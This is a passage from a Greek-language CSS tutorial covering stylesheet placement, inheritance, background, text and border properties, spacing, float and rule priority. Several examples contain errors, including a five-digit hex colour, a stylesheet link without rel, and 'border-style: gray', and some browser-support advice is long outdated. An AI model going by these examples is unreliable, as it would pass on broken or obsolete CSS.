στοιχείο αυτό. • 􀂃 CSS για μια συγκεκριμένη σελίδα: Πολλές φορές, μπορεί να θέλουμε να εφαρμόσουμε κάποιους κανόνες CSS μόνο για τη συγκεκριμένη σελίδα και όχι για όλο το site (ή να διαφοροποιήσουμε σε κάποιες ιδιότητες τους υπάρχοντες). Ένας τρόπος να το κάνουμε αυτό, για να μην δημιουργήσουμε ξεχωριστό αρχείο CSS είναι να εισάγουμε εντός των tags <head>...</head> της σελίδας τους κανόνες CSS μας μέσα σε <style> tags (με την html attribute type τους σε text/css). Παραδείγματος χάριν, για να κάνουμε το χρώμα γραμμάτων μιας συγκεκριμένης σελίδας γκρι, θα γράφαμε στο head της: <style type=”text/css”> body { color:gray; } </style> Αξίζει να σημειωθεί ότι συνήθως όταν ξεκινάμε την ανάπτυξη ενός site, είναι πιο βολικό να χρησιμοποιήσουμε αυτό τον τρόπο αρχικά, μιας και πρέπει να επεξεργαζόμαστε μόνο ένα αρχείο αντί για δύο. Όταν τελειώνουμε την πρώτη σελίδα, συνήθως μεταφέρουμε το CSS που έχουμε γράψει σε εξωτερικό αρχείο (βλ. παρακάτω) ώστε

να μπορούμε να χρησιμοποιήσουμε τους ίδιους κανόνες CSS και στις άλλες σελίδες του site μας, χωρίς να πρέπει φυσικά να τους κάνουμε copy-paste σε κάθε σελίδα. • Εξωτερικό αρχείο CSS: Η πιο «σωστή» χρήση του CSS και αυτή που θα έπρεπε να είναι η πρώτη λύση στην οποία θα καταφύγουμε, είναι η χρήση εξωτερικού αρχείου CSS. Για να τη χρησιμοποιήσουμε, γράφουμε τους κανόνες CSS μας σε ένα αρχείο με επέκταση css (πχ main.css) και στο head της κάθε σελίδας του site μας γράφουμε <link href="main.css" type="text/css" /> (αν το όνομα του αρχείου CSS είναι main.css, αλλιώς προφανώς γράφουμε το σωστό όνομα αρχείου). Αξίζει να σημειωθεί ότι μπορούμε να έχουμε πολλά αρχεία css στην ίδια σελίδα, και μεγαλύτερη προτεραιότητα έχει πάντα αυτό που έχει γραφτεί τελευταίο. Τα στοιχεία - απόγονος, λοιπόν, μπορεί να κληρονομήσει μια ιδιότητα από το γονέα του. Αυτό συμβαίνει στην περίπτωση που δεν έχει οριστεί κάποιο συγκεκριμένο στυλ για το στοιχείο παιδί. Κάποιες ιδιότητες CSS, οι οποίες μπορούν να κληρονομηθούν και σε στοιχεία απογόνους είναι οι εξής: · Color · font-size · font-family · font-style · font-weight · text-align · text-decoration Ο σχεδιαστής της ιστοσελίδας μπορεί, επίσης, να ορίσει μια διαφορετική τιμή μέσω κανόνα CSS για μια συγκεκριμένη ιδιότητα ενός στοιχείου. Στην περίπτωση αυτή, θα εφαρμοστεί αυτή η τιμή και όχι η κληρονομημένη (inherited) τιμή του στοιχείου. Εάν, πάλι, θέλουμε ένα στοιχείο να αποκτήσει για μια ιδιότητα την τιμή της ιδιότητας αυτής του γονέα του, ενώ αυτή κανονικά δεν κληρονομείται, τότε υπάρχει η δυνατότητα να οριστεί ως τιμή της ιδιότητας για το στοιχείο αυτό η τιμή «inherit».

Ιδιότητες CSS (CSS properties)

Ιδιότητες για το φόντο background-color: καθορίζει το χρώμα φόντου ενός στοιχείου. Παράδειγμα χρήσης φαίνεται στην διαφάνεια Τα χρώματα μπορούν να οριστούν είτε σε μορφή Hexadecimal RGB Values (π.χ #FF000), είτε με RGB Values (π.χ. rgb(255, 0, 0), είτε με W3C Standard Color Names (π.χ. aqua, black, blue, gray, κ.λπ.)

background-image: ορίζει μια εικόνα φόντου. Δέχεται ως τιμή τη διεύθυνση της εικόνας σε παρενθέσεις, με «url» μπροστά από αυτή. Από προεπιλογή, η εικόνα επαναλαμβάνεται για να καλύπτει όλο το στοιχείο στο οποίο θα είναι εικόνα φόντου. Παρακάτω, γίνεται δήλωση εικόνας φόντου για μια ιστοσελίδα

background-repeat: από προεπιλογή, η εικόνα θα επαναλαμβάνεται τόσο στον οριζόντιο, όσο και στον κάθετο άξονα. Αυτό δεν είναι πάντα επιθυμητό. Με την ιδιότητα background-repeat ορίζεται ο τρόπος με τον οποίο θα επαναλαμβάνεται η εικόνα που ορίστηκε ως εικόνα φόντου. Οι τιμές που παίρνει είναι: · no-repeat: καμία επανάληψη. · repeat-x: η εικόνα επαναλαμβάνεται στον οριζόντιο άξονα.

· repeat-y: η εικόνα επαναλαμβάνεται στον κάθετο άξονα. · repeat: η εικόνα επαναλαμβάνεται και οριζόντια και κάθετα (προεπιλογή).

background-position: η ιδιότητα αυτή χρησιμοποιείται για να οριστεί το που θα τοποθετηθεί η εικόνα φόντου που ορίστηκε προηγουμένως για εικόνα φόντου, τόσο στον κάθετο όσο και στον οριζόντιο άξονα. Οι τιμές που παίρνει συνήθως είναι: · left, right, center: οριζόντια θέση εικόνας. · top, bottom, center: κάθετη θέση εικόνας Είναι, επίσης, δυνατό να οριστεί και αριθμητικά η θέση της εικόνας φόντου, με ποσοστό επί τοις εκατό (%) ή με κάποια μονάδα μεγέθους (pixels).

Τέλος, μπορεί να χρησιμοποιηθεί η ιδιότητα background, για τον ορισμό όλων των ιδιοτήτων που είδαμε παραπάνω σε μία δήλωση. Για παράδειγμα:

Ιδιότητες για κείμενο

•

color: η ιδιότητα αυτή μας επιτρέπει να αλλάξουμε το χρώμα του κειμένου. Όπως είδαμε και προ-ηγουμένως για το χρώμα φόντου, τα χρώματα μπορούν να εισαχθούν σε μορφή Hexadecimal RGB Values (π.χ #FF000), είτε με RGB Values (π.χ. rgb(255, 0, 0), είτε με W3C Standard Color Names (π.χ. aqua, black, blue, gray, κ.λπ.). Το προεπιλεγμένο χρώμα κειμένου ορίζεται στον body selector:

•

font-size: αφορά στο μέγεθος της γραμματοσειράς. Οι τιμές που παίρνει ορίζονται συνήθως σε pixels (π.χ. font-size: 10px;) ή στιγμές (π.χ. font-size: 10pt). Εάν το μέγεθος της γραμματοσειράς δεν καθοριστεί, τότε παίρνει την προεπιλεγμένη τιμή, η οποία είναι 16px. Προτείνεται η χρήση των κατάλληλων ετικετών της HTML, όπως <h1> … <h6> για κεφαλίδες και <p> για παραγράφους.

•

font-family: για τον ορισμό των γραμματοσειρών που θα χρησιμοποιηθούν για το κείμενο. Ορί-ζουμε την επιθυμητή γραμματοσειρά για το κείμενο, καθώς και εναλλακτικές επιλογές, για την πε-ρίπτωση που η γραμματοσειρά που ορίστηκε δεν υπάρχει στον υπολογιστή του χρήστη. Αν δεν υπάρχει καμία από όλες τις γραμματοσειρές που ορίστηκαν, τότε ο περιηγητής επιλέγει κάποια που να ανήκει στη γενική οικογένεια γραμματοσειρών (generic font-family), η οποία ορίζεται τε-λευταία με την κατάλληλη λέξη-κλειδί. Για παράδειγμα, μπορεί να οριστεί η γενική οικογένεια «serif», η οποία αποτελείται από γραμματοσειρές με ακρεμόνες, όπως η Garamond και η Georgia.

•

font-weight: ορίζει το «βάρος» της γραμματοσειράς. Συνήθως, οι περισσότερες γραμματοσειρές διατίθενται σε δύο βάρη (κανονικό και έντονο), οπότε ουσιαστικά ορίζει αν το κείμενο θα είναι έ-ντονο ή όχι. Η προεπιλεγμένη τιμή είναι «normal».

•

font-style: η ιδιότητα αυτή ορίζει αν η γραμματοσειρά θα είναι κανονική (normal) ή πλάγια (italic). Οι τιμές που παίρνει είναι τρεις: normal, italic και oblique. Ενώ οι δύο τελευταίες έχουν συνήθως το ίδιο αποτέλεσμα, η χρήση της oblique δε συνίσταται λόγω ασυμβατότητας με παλαιό-τερους περιηγητές.

•

font: Όπως η ιδιότητα background που αναλύθηκε παραπάνω, έτσι και η ιδιότητα font δίνει τη δυ-νατότητα να οριστούν ταυτόχρονα πολλές ιδιότητες που αφορούν σε κείμενο. Αν κάποια ιδιότητα δε συμπεριληφθεί, τότε ο περιηγητής θα χρησιμοποιήσει την προεπιλεγμένη τιμή της.

•

text-align: ορίζει τη στοίχιση του κειμένου. Οι πιθανές τιμές της είναι left, right, center, justify, initial και inherit.

•

text-justify: για τον ορισμό των κενών ανάμεσα στις λέξεις. Παίρνει διάφορες τιμές, όπως: auto (ο αλγόριθμος για το justification επιλέγεται από τον περιηγητή), inter-word (αυξάνει/μειώνει το κενό ανάμεσα σε λέξεις), kashida (επιμηκύνει χαρακτήρες), κ.λπ.

Ιδιότητες για το περίγραμμα •

border-style: ορίζει το στυλ του περιγράμματος. Παίρνει διάφορες τιμές, με πιο συχνές τις ακόλουθες: · solid: συμπαγές περίγραμμα (μια ενιαία γραμμή). · dashed: διακεκομμένο περίγραμμα. · dotted: περίγραμμα που αποτελείται από τελείες.

· double: διπλό περίγραμμα. · groove: 3D grooved περίγραμμα Επίσης, η ιδιότητα αυτή μπορεί να πάρει έως τέσσερις τιμές που αντιστοιχούν στα τέσσερα περιγράμματα ενός στοιχείου, με τη σειρά (top, right, bottom και left). •

border-color: χρησιμεύει για τον ορισμό του χρώματος του περιγράμματος. Το χρώμα ορίζεται με έναν από τους τρόπους που περιγράφηκαν παραπάνω. Αν δεν οριστεί η ιδιότητα border-color, χρησιμοποιείται το χρώμα που ορίστηκε με την ιδιότητα color. Η ιδιότητα border-color πρέπει να οριστεί αφού πρώτα οριστεί το περίγραμμα με την ιδιότητα border-style. Μπορεί να πάρει τέσσερις τιμές, που αντιστοιχούν στα τέσσερα borders ενός στοιχείου, με την εξής σειρά: top, right, bottom και left.

•

Border-bottom: Υπάρχουν πάρα πολλές ιδιότητες για τη δήλωση επιμέρους περιγραμμάτων ενός στοιχείου. Μια από αυτές είναι η border-bottom, η οποία χρησιμεύει για τη δήλωση όλων των ιδι-οτήτων του bottom border σε μία μόνο δήλωση. Οι ιδιότητες που μπορούν να οριστούν, είναι, με τη σειρά: · border-bottom-width. · border-bottom-style. · border-bottom-color.

•

Border-width: η ιδιότητα αυτή ορίζει το πάχος του περιγράμματος, σε κάποια από τις μονάδες μέ-τρησης που χρησιμοποιούνται στο CSS (π.χ. pixels). Επιπλέον, μπορεί να οριστεί με λέξεις- κλειδιά, όπως medium, thin και thick. Όπως και άλλες ιδιότητες που επεξηγήθηκαν παραπάνω, έ-τσι κι αυτή μπορεί να πάρει έως τέσσερις τιμές (για κάθε ένα από τα τέσσερα περιγράμματα του στοιχείου).

•

Border: Η ιδιότητα border αποτελεί συντόμευση για να οριστούν με μία μόνο δήλωση όλες οι πα-ραπάνω ιδιότητες που σχετίζονται με το περίγραμμα. Είναι, δηλαδή, αντίστοιχη των ιδιοτήτων font και background

•

Padding: ορίζει το κενό μεταξύ των ορίων ενός στοιχείου και το περιεχομένου του. Είναι απαραί-τητο να ορίζεται ώστε να μην ενώνεται το περιεχόμενο του στοιχείου με το περίγραμμά του. Μπο-ρεί να οριστεί διαφορετικό padding ανά πλευρά, όπως στην ιδιότητα border, χρησιμοποιώντας έως τέσσερις τιμές με τη σειρά που παρουσιάστηκε παραπάνω. Ακολουθεί ένα παράδειγμα χρήσης αυτής της ιδιότητας:

Εκπαιδευτική Υποενότητα 5.5

Βασικές ιδιότητες CSS (CSS properties)

Ιδιότητες που αφορούν μορφοποίηση κειμένου color Αφορά το χρώμα του κειμένου, αλλά αν δεν οριστεί χρώμα περιγράμματος (μέσω της ιδιότητας border-color), ο browser χρησιμοποιεί αυτό που ορίστηκε στην ιδιότητα color. Τα χρώματα μπορούν να εισαχθούν είτε σε μορφή RGB (πχ color: rgb(255,128,30);), είτε σε μορφή hex (πχ color: #ff801e;) είτε με τη μορφή κάποιου keyword (πχ color:orange;).. font-size Αφορά το μέγεθος της γραμματοσειράς. Οι τιμές που δέχεται μπορούν να είναι εκφρασμένες σε ένα μεγάλο πλήθος μονάδων μεγέθους, από τις οποίες οι πιο ευρέως διαδεδομένες είναι τα pixels (πχ font-size: 12px;) και οι στιγμές (πχ font-size:10pt). font-family Η ιδιότητα αυτή μας επιτρέπει να ορίσουμε ένα πλήθος γραμματοσειρών που θα χρησιμοποιηθούν για το κείμενο, κατά σειρά προτίμησης. Ουσιαστικά μέσω αυτής ορίζουμε τη γραμματοσειρά του κειμένου, απλά μας επιτρέπει να ορίσουμε και εναλλακτικές επιλογές, ώστε αν η γραμματοσειρά που ορίσαμε δεν υπάρχει στον υπολογιστή του χρήστη, να μην μας καταστρέψει ο browser την εμφάνιση της σελίδας επιλέγοντας όποια αυτός νομίζει, απλά την επόμενη επιλογή μας. Αν καμία από όσες γραμματοσειρές ορίσαμε δεν υπάρχει στον υπολογιστή του χρήστη, τότε ο browser επιλέγει κάποια που να ανήκει στη γενική οικογένεια γραμματοσειρών (generic font-family) που θα ορίσουμε στο τέλος με το κατάλληλο keyword. Τέτοια keywords είναι τα εξής: •

serif: Γραμματοσειρές με «πατούρες» όπως η Georgia.

•

sans-serif: Γραμματοσειρές χωρίς «πατούρες» όπως η Trebuchet MS.

•

monospace: Γραμματοσειρές όπου το κάθε γράμμα καταλαμβάνει ίσο πλάτος με τα υπόλοιπα, όπως η Courier New.

•

cursive: Καλλιγραφικές γραμματοσειρές όπως η Monotype Corsiva

•

fantasy: «Διακοσμητικές» γραμματοσειρές.

Οι τελευταίες 2 γενικές οικογένειες γραμματοσειρών χρησιμοποιούνται πολύ σπάνια. Παράδειγμα χρήσης της ιδιότητας: font-family: Calibri, Trebuchet MS, Verdana, sans-serif; font-style

Σε αντίθεση με αυτό που θα περίμενε κανείς από μια ιδιότητα με αυτό το όνομα, δηλαδή την εφαρμογή πολλών και διαφόρων «εφέ» στο κείμενο, στην πραγματικότητα αφορά μόνο την περίπτωση όπου το κείμενο θα είναι πλάγιο. Για άλλα εφέ, χρησιμοποιούνται άλλες ιδιότητες, οι οποίες θα εξεταστούν παρακάτω. Οι πιθανές τιμές της είναι normal, italic και oblique. Οι δύο τελευταίες συνήθως κάνουν το ίδιο πράγμα (και είναι προτιμότερη η χρήση της italic μιας και υποστηρίζεται και από Internet Explorer 3, ενώ η υποστήριξη για την oblique ξεκινά από Internet Explorer 4), ενώ είναι προφανής η λειτουργία της τιμής normal. font-weight Αφορά το «βάρος» της γραμματοσειράς και στην πράξη χρησιμοποιείται για να ορίσει αν το κείμενο μας θα είναι έντονο ή όχι, μιας και οι περισσότερες γραμματοσειρές που χρησιμοποιούνται στο web διατίθενται μόνο σε δύο βάρη: Κανονικό και έντονο, σε αντίθεση με πιο εξειδικευμένες γραμματοσειρές που χρησιμοποιούνται από γραφίστες, οι οποίες πολλές φορές διατίθενται σε διάφορα βάρη. Οπότε οι τιμές που συνήθως χρησιμοποιούνται σε αυτή την ιδιότητα είναι οι normal και bold, η λειτουργία των οποίων είναι προφανής. text-decoration Μας επιτρέπει να εφαρμόσουμε στο κείμενο μας διάφορα εφέ, συμπεριλαμβανόμενης και της υπογράμμισης. Οι τιμές που δέχεται είναι οι εξής: •

none: Καμία διακόσμηση

•

underline: Υπογράμμιση

•

overline: Γραμμή πάνω από το κείμενο (ουσιαστικά το αντίθετο της υπογράμμισης)

•

line-through: Διαγράμμιση

•

blink: Κάνει το κείμενο να αναβοσβήνει. Δεν πρέπει να χρησιμοποιείται, παρά μόνο σε εξαιρετικά σπάνιες περιπτώσεις, μιας και η εμπειρία έχει δείξει ότι είναι εξαιρετικά κουραστικό για τον αναγνώστη και αφαιρεί επαγγελματικότητα από το design της ιστοσελίδας.

Οι παραπάνω τιμές μπορούν να χρησιμοποιηθούν και συνδυαστικά, όταν επιθυμούμε να εφαρμόσουμε πάνω από ένα τέτοιο εφέ στο κείμενο μας. Παραδείγματος χάριν textdecoration: underline overline; text-align Μας επιτρέπει να καθορίσουμε τη στοίχιση του κειμένου μας. Όπως θα περίμενε κανείς, οι πιθανές τιμές είναι left, center, right και justify.

font Μας επιτρέπει να καθορίσουμε αρκετές ιδιότητες κειμένου με μια μόνο ιδιότητα (συγκεκριμένα τις font-size, font-family, font-weight και font-style από όσες αναφέρθηκαν παραπάνω, καθώς και κάποιες άλλες που δεν αναφέρθηκαν). Αν κάποια ιδιότητα δεν συμπεριληφθεί, ο browser θα «υποθέσει» την προεπιλεγμένη τιμή της. Παραδείγματα: font: 12px Calibri, Trebuchet MS, Verdana, sans-serif; font: italic bold 12px Calibri, Trebuchet MS, Verdana, sans-serif; Προσοχή: Αν δεν ορίσουμε κάποια επιμέρους ιδιότητα όταν χρησιμοποιούμε την συγκεντρωτική ιδιότητα font, ο browser «υποθέτει» την προεπιλεγμένη τιμή για αυτή, όχι ότι δεν ορίστηκε. Αυτό σημαίνει ότι αν γράψουμε για παράδειγμα: font-weight:bold; font: 12px Calibri, Trebuchet MS, Verdana, sans-serif; τότε το κείμενο μας δεν θα είναι έντονο, μιας και αφού δεν ορίσαμε στη font και την fontweight, τότε ο browser «υποθέτει» την προεπιλεγμένη τιμή για αυτή την ιδιότητα, η οποία είναι η normal, και μιας και η font βρίσκεται κάτω από την font-weight, έχει μεγαλύτερη προτεραιότητα, οπότε επικρατεί για τη font-weight η τιμή normal.

Ιδιότητες που αφορούν το φόντο background-color Χρησιμοποιείται για να ορίσει χρώμα φόντου στα στοιχεία που αφορά ο επιλογέας. Το χρώμα μπορεί να γραφεί σε οποιαδήποτε από τις μορφές που περιγράφηκαν για την ιδιότητα color. background-image Χρησιμοποιείται για να ορίσει μια εικόνα φόντου. Η τιμή που δέχεται είναι της μορφής url(διεύθυνση_εικόνας),

παραδείγματος

χάριν

background-image:url(http://www.e-

steki.gr/logo.gif);. Γενικά όταν εισάγουμε μια διεύθυνση URL ως τιμή (ή τμήμα τιμής) κάποιας ιδιότητας CSS, πάντα τη γράφουμε εντός των παρενθέσεων του url(). Φυσικά μπορούμε να εισάγουμε και σχετικά URLs, πχ background-image:url(logo.gif);. background-repeat

Αφορά τον τρόπο που θα επαναλαμβάνεται η εικόνα που ορίσαμε στην παραπάνω ιδιότητα. Οι τιμές που δέχεται είναι: •

no-repeat: Καμία επανάληψη

•

repeat-x: Η εικόνα επαναλαμβάνεται στον οριζόντιο άξονα

•

repeat-y: Η εικόνα επαναλαμβάνεται στον κάθετο άξονα

•

repeat: Η εικόνα επαναλαμβάνεται και οριζόντια και κάθετα (η τιμή repeat είναι και η προεπιλεγμένη τιμή της ιδιότητας background-repeat).

background-position Η ιδιότητα αυτή μας επιτρέπει να ορίσουμε τη θέση που θα τοποθετηθεί η εικόνα φόντου που ορίσαμε με την ιδιότητα background-image τόσο κάθετα, όσο και οριζόντια. Συνήθως ως τιμές της χρησιμοποιούμε κάποια keywords, τα οποία είναι τα εξής: •

left, center, right όσον αφορά την οριζόντια θέση της εικόνας

•

top, center, bottom όσον αφορά την κάθετη θέση της εικόνας

Τα παραπάνω μπορούμε να τα χρησιμοποιήσουμε και συνδυαστικά (και συνήθως αυτό γίνεται), όπως στα παρακάτω παραδείγματα: background-position: left bottom; background-position: top right; background-position: center top; ή μπορούμε να ορίσουμε την τοποθέτηση μόνο κατά τον ένα άξονα (για τον άλλο υποτίθεται η προεπιλεγμένη τιμή, η οποία είναι συνήθως top για τον κάθετο άξονα και left για τον οριζόντιο), όπως στα παρακάτω παραδείγματα: background-position: left; background-position: bottom; Αντί για τα παραπάνω keywords, μπορούμε να ορίσουμε τη θέση της εικόνας φόντου και αριθμητικά, είτε με ποσοστό ή με κάποια μονάδα μεγέθους, όπως στα παρακάτω παραδείγματα: background-position: 10% 25%; background-position: 60px 100px;

αν τέτοιες τιμές χρησιμοποιούνται πολύ πιο σπάνια. H ιδιότητα αυτή χρησιμοποιείται συνήθως όταν έχουμε ορίσει να μην επαναλαμβάνεται η εικόνα φόντου (μέσω της ιδιότητας background-repeat). Κάποιοι browsers υποστηρίζουν τη χωριστή δήλωση θέσης της εικόνας στον κάθετο και τον οριζόντιο άξονα, μέσω δύο ιδιοτήτων με όνομα background-position-x και background-position-y, αλλά καλύτερα να αποφεύγεται η χρήση αυτών των ιδιοτήτων, μιας και δεν υποστηρίζονται από όλους τους browsers. background Η ιδιότητα αυτή αποτελεί ουσιαστικά συντόμευση για να ορίσουμε με μία μόνο ιδιότητα όλες τις παραπάνω (όπως είναι η ιδιότητα font για τα χαρακτηριστικά κειμένου). Παραδείγματα χρήσης: background: #CCCCCC url(background.gif) no-repeat top center; background: #CCCCCC url(background.gif); Προσοχή: Αν δεν ορίσουμε κάποια επιμέρους ιδιότητα όταν χρησιμοποιούμε την συγκεντρωτική ιδιότητα background, ο browser «υποθέτει» την προεπιλεγμένη τιμή για αυτή, όχι ότι δεν ορίστηκε. Αυτό σημαίνει ότι αν γράψουμε για παράδειγμα: background-image: url(background.gif); background: #CCCCCC no-repeat top center; τότε δεν θα εμφανίζεται κάποια εικόνα φόντου, μιας και αφού δεν ορίσαμε στη background και την background-image, τότε ο browser «υποθέτει» την προεπιλεγμένη τιμή για αυτή την ιδιότητα, η οποία είναι η none, και μιας και η background βρίσκεται κάτω από την background-image, έχει μεγαλύτερη προτεραιότητα, οπότε επικρατεί για τη backgroundimage η τιμή none.

Ιδιότητες που αφορούν το περίγραμμα border-color Ρυθμίζει το χρώμα περιγράμματος. Το χρώμα μπορεί να γραφεί σε οποιαδήποτε από τις μορφές που περιγράφηκαν για την ιδιότητα color. Αν δεν οριστεί αυτή η ιδιότητα, χρησιμοποιείται το χρώμα που ορίστηκε στην ιδιότητα color. border-width

Ρυθμίζει το πάχος του περιγράμματος σε κάποια από τις μονάδες μέτρησης που μπορούν να χρησιμοποιηθούν στο CSS, συνηθέστερα σε pixels. Παράδειγμα: border-width: 10px; border-style Ορίζει το στυλ του περιγράμματος. Οι τιμές που χρησιμοποιούνται συνήθως για την ιδιότητα αυτή είναι οι εξής: •

solid: «Συμπαγές» περίγραμμα, δηλαδή χωρίς κάποια διακόσμηση, μια ενιαία γραμμή.

•

dashed: Περίγραμμα που αποτελείται από παύλες.

•

dotted: Περίγραμμα που αποτελείται από τελείες. Αξίζει να σημειωθεί ότι τα αποτελέσματα της χρήσης της τιμής αυτής διαφέρουν ελαφρώς ανά τους browsers. Για παράδειγμα ο Internet Explorer εμφανίζει τα dotted περιγράμματα ως αποτελούμενα από μικρούς κύκλους, ενώ ο Mozilla Firefox τα εμφανίζει ως αποτελούμενα από μικρά τετράγωνα.

•

double: Σαν την τιμή solid, μόνο που δημιουργεί δύο περιγράμματα, η απόσταση και το πάχος των οποίων δεν μπορούν να ρυθμιστούν χωριστά αλλά ρυθμίζονται αυτόματα ώστε το πάχος τους να είναι συνολικά όσο η τιμή που ορίσαμε στην ιδιότητα borderwidth. Συνήθως χρησιμοποιείται σε συνδυασμό με πάχος περιγράμματος 3px, για το οποίο δίνει ένα αρκετά καλαίσθητο αποτέλεσμα.

Υπάρχουν και οι τιμές groove, ridge, inset, outset οι οποίες δημιουργούν διαφόρων ειδών «ψευδό-3D» περιγράμματα, οι οποίες καλύτερα να αποφεύγονται για λόγους αισθητικής. border Η ιδιότητα αυτή αποτελεί ουσιαστικά συντόμευση για να ορίσουμε με μία μόνο ιδιότητα όλες τις παραπάνω (όπως είναι η ιδιότητα font για τα χαρακτηριστικά κειμένου). Παραδείγματα χρήσης: border: 10px solid #999999; border: 2px dashed; Προσοχή: Αν δεν ορίσουμε κάποια επιμέρους ιδιότητα όταν χρησιμοποιούμε την συγκεντρωτική ιδιότητα border, ο browser «υποθέτει» την προεπιλεγμένη τιμή για αυτή, όχι ότι δεν ορίστηκε. Αυτό σημαίνει ότι αν γράψουμε για παράδειγμα: border-color: orange;

border: 2px dashed; τότε το περίγραμμα μας δεν θα είναι πορτοκαλί, τουλάχιστον όχι σε όλους τους browsers (εκτός αν είναι πορτοκαλί και η ιδιότητα color), μιας και αφού δεν ορίσαμε στη border και την border-color, τότε ο browser «υποθέτει» την προεπιλεγμένη τιμή για αυτή την ιδιότητα, και μιας και η border βρίσκεται κάτω από την border-color, έχει μεγαλύτερη προτεραιότητα, οπότε επικρατεί για τη border-color η προεπιλεγμένη τιμή. Τι κάνουμε αν θέλουμε να ορίσουμε διαφορετικό πάχος/χρώμα/στύλ περιγράμματος για το πάνω/δεξί/κάτω/αριστερό περίγραμμα; Κάθε μια από τις ιδιότητες που αναφέρθηκαν παραπάνω, αποτελείται από τέσσερις επιμέρους ιδιότητες, οι οποίες μας επιτρέπουν να ορίσουμε διαφορετικές τιμές για την ιδιότητα αυτή όσον αφορά το πάνω/δεξί/κάτω/αριστερό περίγραμμα. Κάθε ιδιότητα της μορφής border-κάτι αντιστοιχεί σε τέσσερις ιδιότητες της μορφής border-top-κάτι, borderright-κάτι, border-bottom-κάτι, border-left-κάτι. Επίσης, κάθε ιδιότητα από αυτές που αναφέρθηκαν παραπάνω δέχεται και τιμές της μορφής [top] [right] [bottom] [left] (ένας εύκολος μνημονικός κανόνας για τη σειρά των τιμών είναι ότι η σειρά αυτή είναι σύμφωνη με την πορεία των δεικτών του ρολογιού) ή της μορφής [top,bottom] [right,left] αντί για μόνο μια τιμή που θα εφαρμοστεί και για τις τέσσερις πλευρές του περιγράμματος. Για παράδειγμα, για να ορίσουμε ένα γκρι συμπαγές περίγραμμα με πάχος αριστερά 1px, δεξιά 2px, πάνω 3px και κάτω 4px θα μπορούσαμε να γράψουμε είτε: border-left-width: 1px; border-right-width: 2px; border-top-width: 3px; border-bottom-width: 4px; border-style: gray; border-style: solid; είτε: border-width: 3px 2px 4px 1px; border-style: gray; border-style: solid;

Προφανώς το δεύτερο είναι πιο σύντομο, αλλά το πρώτο είναι πιο εύκολο στην κατανόηση. Η επιλογή είναι δική σας.

Διάφορες χρήσιμες ιδιότητες padding Ορίζει το κενό που θα υπάρχει μεταξύ των ορίων ενός στοιχείου και των περιεχομένων του. Είναι πολύ σημαντικό να ορίζουμε padding σε στοιχεία στα οποία έχουμε ορίσει κάποιο περίγραμμα, ώστε να μην «κολλάνε» τα περιεχόμενα τους με το περίγραμμα, κάτι που φαίνεται ιδιαίτερα άσχημο και ερασιτεχνικό. Επίσης, καλό είναι να μην είστε ιδιαίτερα φειδωλοί με το padding. Περισσότερο padding δίνει πιο επαγγελματική εμφάνιση (μέχρι κάποιων ορίων φυσικά). Για να ορίσουμε διαφορετικό padding ανά πλευρά, μπορούμε ομοίως με το border, είτε να χρησιμοποιήσουμε τις ιδιότητες padding-top, padding-right, padding-bottom, padding-left, είτε να εισάγουμε και τις τέσσερις τιμές στην ιδιότητα padding με τη σειρά [top] [right] [bottom] [left], είτε [top,bottom] [right,left]. Παραδείγματα: padding: 8px; padding: 2px 6px; padding: 0px 6px 6px 6px; margin Το αντίθετο ουσιαστικά του padding. Ορίζει τον χώρο μεταξύ των ορίων ενός στοιχείου και όσων το περιβάλλουν. Είναι ιδιαίτερα σημαντικό να ορίζουμε margin σε εικόνες, ώστε να έχουν απόσταση από τα περιεχόμενα τους, μιας και είναι ιδιαίτερα αντιαισθητικό να «κολλάνε» με το κείμενο. Φυσικά και εδώ μπορούμε να χρησιμοποιήσουμε είτε τις ιδιότητες margin-top, margin-right, margin-bottom, margin-left για να ορίσουμε διαφορετικές τιμές margin ανά πλευρά, είτε να εισάγουμε τις τέσσερις διαφορετικές τιμές margin με τη σειρά [top] [right] [bottom] [left], ή [top,bottom] [right,left]. Παραδείγματα: margin: 4px; margin: 2px 4px; margin: 0px 8px 2px 2px; width, height

Όπως είναι προφανές, οι δύο αυτές ιδιότητες ορίζουν το πλάτος και το ύψος ενός στοιχείου, είτε σε ποσοστό (το οποίο υπολογίζεται βάσει του στοιχείου που το περιέχει), είτε σε κάποια μονάδα μήκους. Παραδείγματα: width: 100px; width: 90%; height: 300px; height: 100%; Υπάρχουν και οι ιδιότητες min-width, min-height, max-width, max-height οι οποίες ορίζουν τα όρια στα οποία μπορούν να κινούνται οι διαστάσεις ενός στοιχείου, όταν δεν θέλουμε να ορίσουμε συγκεκριμένες διαστάσεις, αλλά καλό είναι να μην χρησιμοποιούνται ακόμα, όσο βολικές κι αν φαίνονται, μιας και δυστυχώς η υποστήριξη τους από τους υπάρχοντες browsers είναι περιορισμένη. float H ιδιότητα αυτή είναι ανεκτίμητης χρησιμότητας στο όταν χρησιμοποιούμε CSS και για το layout της σελίδας μας, αν και είναι η δυσκολότερη στην κατανόηση από όσες αναφέρθηκαν. Δέχεται τις τιμές right, left και none και επιτρέπει τα στοιχεία που περιβάλλουν το στοιχείο εκείνο στο οποίο εφαρμόζουμε την ιδιότητα αυτή να «ρέουν» τριγύρω του. Μια συνηθισμένη χρήση της ιδιότητας είναι στις εικόνες που συνοδεύουν ένα άρθρο. Πολλές φορές χρησιμοποιούμε μετά από floated στοιχεία κάποιο στοιχείο (συνήθως ένα άδειο div) με την ιδιότητα clear: both; για να «καθαρίσει» τα floats για το μετέπειτα περιεχόμενο. Προτεραιότητα Πολλές φορές για το ίδιο στοιχείο μπορεί να ταιριάζουν αρκετοί κανόνες CSS, ορισμένοι εκ των οποίων να περιέχουν ιδιότητες που «συγκρούονται». Για παράδειγμα, έστω ότι έχουμε στο CSS μας τους παρακάτω κανόνες: .testclass { color: red; } div

{ color: gray; } και στην html μας έχουμε κάποιο στοιχείο <div class=”testclass”>test text</div>. Το κείμενο του θα είναι κόκκινο ή γκρι; Απάντηση: Το κείμενο θα είναι κόκκινο, διότι ο επιλογέας .testclass είναι πιο «συγκεκριμένος» απ’ότι ο επιλογέας div. Ωστόσο, αν στο CSS μας είχαμε τους κανόνες: .testclass { color:red; } .testclass2 { color: gray; } και στην html μας είχαμε το στοιχείο <div class=”testclass testclass2”>test text</div>, τότε το κείμενο θα ήταν γκρι, διότι η δήλωση της κλάσης testclass2 διαβάστηκε τελευταία από τον browser, οπότε έχει μεγαλύτερη προτεραιότητα. Γενικά οι κανόνες προτεραιότητας στο CSS είναι αρκετά περίπλοκοι και δεν μπορούν να αναλυθούν εκτενώς εδώ. Οι βασικότεροι είναι οι εξής: •

